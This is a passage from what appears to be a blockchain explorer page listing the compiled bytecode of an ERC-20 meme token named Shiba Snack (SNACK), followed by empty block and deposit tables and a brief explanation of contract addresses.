952ba7f163c4a11628f55a4df523b3ef906113d69085815260200190565b60405180910390a35b5050505050565b6000818484111561140a5760405162461bcd60e51b81526004016105429190611787565b5060006114178486611bb5565b95945050505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061146857611468611b06565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e59190611b35565b816001815181106114f8576114f8611b06565b6001600160a01b03928316602091820292909201015260135461151e9130911684610bb5565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611557908590600090869030904290600401611bc8565b600060405180830381600087803b15801561157157600080fd5b505af1158015611585573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156105b3573d6000803e3d6000fd5b6000826000036115ea57506000610489565b60006115f68385611aba565b9050826116038583611c39565b1461165a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610542565b9392505050565b600061165a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611759565b60008183116116b2578261165a565b50919050565b600061165a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113e6565b6000806117078385611ba2565b90508381101561165a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610542565b6000818361177a5760405162461bcd60e51b81526004016105429190611787565b5060006114178486611c39565b600060208083528351808285015260005b818110156117b457858101830151858201604001528201611798565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610afc57600080fd5b80356117f5816117d5565b919050565b6000806040838503121561180d57600080fd5b8235611818816117d5565b946020939093013593505050565b60008060006060848603121561183b57600080fd5b8335611846816117d5565b92506020840135611856816117d5565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561189057600080fd5b823567ffffffffffffffff808211156118a857600080fd5b818501915085601f8301126118bc57600080fd5b8135818111156118ce576118ce611867565b8060051b604051601f19603f830116810181811085821117156118f3576118f3611867565b60405291825284820192508381018501918883111561191157600080fd5b938501935b8285101561193657611927856117ea565b84529385019392850192611916565b98975050505050505050565b60006020828403121561195457600080fd5b813561165a816117d5565b6000806040838503121561197257600080fd5b823561197d816117d5565b9150602083013561198d816117d5565b809150509250929050565b6000602082840312156119aa57600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a025781600019048211156119e8576119e86119b1565b808516156119f557918102915b93841c93908002906119cc565b509250929050565b600082611a1957506001610489565b81611a2657506000610489565b8160018114611a3c5760028114611a4657611a62565b6001915050610489565b60ff841115611a5757611a576119b1565b50506001821b610489565b5060208310610133831016604e8410600b8410161715611a85575081810a610489565b611a8f83836119c7565b8060001904821115611aa357611aa36119b1565b029392505050565b600061165a60ff841683611a0a565b8082028115828204841417610489576104896119b1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611b2e57611b2e6119b1565b5060010190565b600060208284031215611b4757600080fd5b815161165a816117d5565b600080600060608486031215611b6757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b9257600080fd5b8151801515811461165a57600080fd5b80820180821115610489576104896119b1565b81810381811115610489576104896119b1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c185784516001600160a01b031683529383019391830191600101611bf3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c5657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e6927595366df12cb81831fc2d7586989f674387f187a72c06c5ec19d5c9efe164736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063751039fc116100b6578063bf474bed1161006f578063bf474bed146103ad578063c876d0b9146103c3578063c9567bf9146103dd578063d34628cc146103f2578063dd62ed3e14610412578063ec1f3f631461045857600080fd5b8063751039fc146102f65780637d1db4a51461030b5780638da5cb5b146103215780638f9a55c01461034957806395d89b411461035f578063a9059cbb1461038d57600080fd5b8063313ce56711610108578063313ce5671461021f57806331c2d8471461023b5780633bbac5791461025d57806351bc3c851461029657806370a08231146102ab578063715018a6146102e157600080fd5b806306fdde0314610150578063095ea7b3146101965780630faee56f146101c657806318160ddd146101ea57806323b872dd146101ff57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600b81526a536869626120536e61636b60a81b60208201525b60405161018d9190611787565b60405180910390f35b3480156101a257600080fd5b506101b66101b13660046117fa565b610478565b604051901515815260200161018d565b3480156101d257600080fd5b506101dc60125481565b60405190815260200161018d565b3480156101f657600080fd5b506101dc61048f565b34801561020b57600080fd5b506101b661021a366004611826565b6104af565b34801561022b57600080fd5b506040516008815260200161018d565b34801561024757600080fd5b5061025b61025636600461187d565b610518565b005b34801561026957600080fd5b506101b6610278366004611942565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102a257600080fd5b5061025b6105b7565b3480156102b757600080fd5b506101dc6102c6366004611942565b6001600160a01b031660009081526001602052604090205490565b3480156102ed57600080fd5b5061025b61060b565b34801561030257600080fd5b5061025b61067f565b34801561031757600080fd5b506101dc600f5481565b34801561032d57600080fd5b506000546040516001600160a01b03909116815260200161018d565b34801561035557600080fd5b506101dc60105481565b34801561036b57600080fd5b50604080518082019091526005815264534e41434b60d81b6020820152610180565b34801561039957600080fd5b506101b66103a83660046117fa565b610738565b3480156103b957600080fd5b506101dc60115481565b3480156103cf57600080fd5b506006546101b69060ff1681565b3480156103e957600080fd5b5061025b610745565b3480156103fe57600080fd5b5061025b61040d36600461187d565b610aff565b34801561041e57600080fd5b506101dc61042d36600461195f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561046457600080fd5b5061025b610473366004611998565b610b91565b6000610485338484610bb5565b5060015b92915050565b600061049d6008600a611aab565b6104aa90620f4240611aba565b905090565b60006104bc848484610cd9565b61050e843361050985604051806060016040528060288152602001611c5c602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906113e6565b610bb5565b5060019392505050565b6000546001600160a01b0316331461054b5760405162461bcd60e51b815260040161054290611ad1565b60405180910390fd5b60005b81518110156105b35760006004600084848151811061056f5761056f611b06565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ab81611b1c565b91505061054e565b5050565b60065461010090046001600160a01b0316336001600160a01b0316146105dc57600080fd5b3060009081526001602052604090205480156105fb576105fb81611420565b4780156105b3576105b38161159a565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161054290611ad1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106a95760405162461bcd60e51b815260040161054290611ad1565b6106b56008600a611aab565b6106c290620f4240611aba565b600f556106d16008600a611aab565b6106de90620f4240611aba565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107186008600a611aab565b61072590620f4240611aba565b60405190815260200160405180910390a1565b6000610485338484610cd9565b6000546001600160a01b0316331461076f5760405162461bcd60e51b815260040161054290611ad1565b601454600160a01b900460ff16156107c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610542565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108119030906108046008600a611aab565b61050990620f4240611aba565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108889190611b35565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090e9190611b35565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561095b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097f9190611b35565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306109c7816001600160a01b031660009081526001602052604090205490565b6000806109dc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a44573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a699190611b52565b50506014805462ff00ff60a01b1981166201000160a01b1790915560135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ad8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afc9190611b80565b50565b6000546001600160a01b03163314610b295760405162461bcd60e51b815260040161054290611ad1565b60005b81518110156105b357600160046000848481518110610b4d57610b4d611b06565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b8981611b1c565b915050610b2c565b610190600e5411610ba157600080fd5b600954811115610bb057600080fd5b600955565b6001600160a01b038316610c175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610542565b6001600160a01b038216610c785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610542565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d3d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610542565b6001600160a01b038216610d9f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610542565b60008111610e015760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610542565b600080610e246064610e1e600a54866115d890919063ffffffff16565b90611661565b9050610e386000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610e6757506000546001600160a01b03858116911614155b156111e4576001600160a01b03851660009081526004602052604090205460ff16158015610eae57506001600160a01b03841660009081526004602052604090205460ff16155b610eb757600080fd5b610edd6064610e1e600b54600e5411610ed257600754610ed6565b6009545b86906115d8565b60065490925060ff1615610fc5576013546001600160a01b03858116911614801590610f1757506014546001600160a01b03858116911614155b15610fc557326000908152600560205260409020544311610fb25760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610542565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610ff057506013546001600160a01b03858116911614155b801561101557506001600160a01b03841660009081526003602052604090205460ff16155b156110fd57600f5483111561106c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610542565b6010548361108f866001600160a01b031660009081526001602052604090205490565b6110999190611ba2565b11156110e75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610542565b600e80549060006110f783611b1c565b91905055505b6014546001600160a01b03858116911614801561112357506001600160a01b0385163014155b15611146576111436064610e1e600c54600e5411610ed257600854610ed6565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561117d57506014546001600160a01b038681169116145b80156111925750601454600160b01b900460ff165b801561119f575060115481115b80156111ae5750600d54600e54115b156111e2576111d06111cb856111c6846012546116a3565b6116a3565b611420565b4780156111e0576111e04761159a565b505b505b6001600160a01b03851660009081526001602052604090205461120790846116b8565b6001600160a01b0386166000908152600160205260409020556112566112378261123186866116b8565b906116b8565b6001600160a01b038616600090815260016020526040902054906116fa565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112a48461123188886116b8565b60405190815260200160405180910390a3811561132f57306000908152600160205260409020546112d590836116fa565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113269086815260200190565b60405180910390a35b80156113df576000805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb495461136a90826116fa565b600080805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49919091556040516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113d69085815260200190565b60405180910390a35b5050505050565b6000818484111561140a5760405162461bcd60e51b81526004016105429190611787565b5060006114178486611bb5565b95945050505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061146857611468611b06565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e59190611b35565b816001815181106114f8576114f8611b06565b6001600160a01b03928316602091820292909201015260135461151e9130911684610bb5565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611557908590600090869030904290600401611bc8565b600060405180830381600087803b15801561157157600080fd5b505af1158015611585573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156105b3573d6000803e3d6000fd5b6000826000036115ea57506000610489565b60006115f68385611aba565b9050826116038583611c39565b1461165a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610542565b9392505050565b600061165a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611759565b60008183116116b2578261165a565b50919050565b600061165a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113e6565b6000806117078385611ba2565b90508381101561165a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610542565b6000818361177a5760405162461bcd60e51b81526004016105429190611787565b5060006114178486611c39565b600060208083528351808285015260005b818110156117b457858101830151858201604001528201611798565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610afc57600080fd5b80356117f5816117d5565b919050565b6000806040838503121561180d57600080fd5b8235611818816117d5565b946020939093013593505050565b60008060006060848603121561183b57600080fd5b8335611846816117d5565b92506020840135611856816117d5565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561189057600080fd5b823567ffffffffffffffff808211156118a857600080fd5b818501915085601f8301126118bc57600080fd5b8135818111156118ce576118ce611867565b8060051b604051601f19603f830116810181811085821117156118f3576118f3611867565b60405291825284820192508381018501918883111561191157600080fd5b938501935b8285101561193657611927856117ea565b84529385019392850192611916565b98975050505050505050565b60006020828403121561195457600080fd5b813561165a816117d5565b6000806040838503121561197257600080fd5b823561197d816117d5565b9150602083013561198d816117d5565b809150509250929050565b6000602082840312156119aa57600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a025781600019048211156119e8576119e86119b1565b808516156119f557918102915b93841c93908002906119cc565b509250929050565b600082611a1957506001610489565b81611a2657506000610489565b8160018114611a3c5760028114611a4657611a62565b6001915050610489565b60ff841115611a5757611a576119b1565b50506001821b610489565b5060208310610133831016604e8410600b8410161715611a85575081810a610489565b611a8f83836119c7565b8060001904821115611aa357611aa36119b1565b029392505050565b600061165a60ff841683611a0a565b8082028115828204841417610489576104896119b1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611b2e57611b2e6119b1565b5060010190565b600060208284031215611b4757600080fd5b815161165a816117d5565b600080600060608486031215611b6757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b9257600080fd5b8151801515811461165a57600080fd5b80820180821115610489576104896119b1565b81810381811115610489576104896119b1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c185784516001600160a01b031683529383019391830191600101611bf3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c5657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e6927595366df12cb81831fc2d7586989f674387f187a72c06c5ec19d5c9efe164736f6c63430008130033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.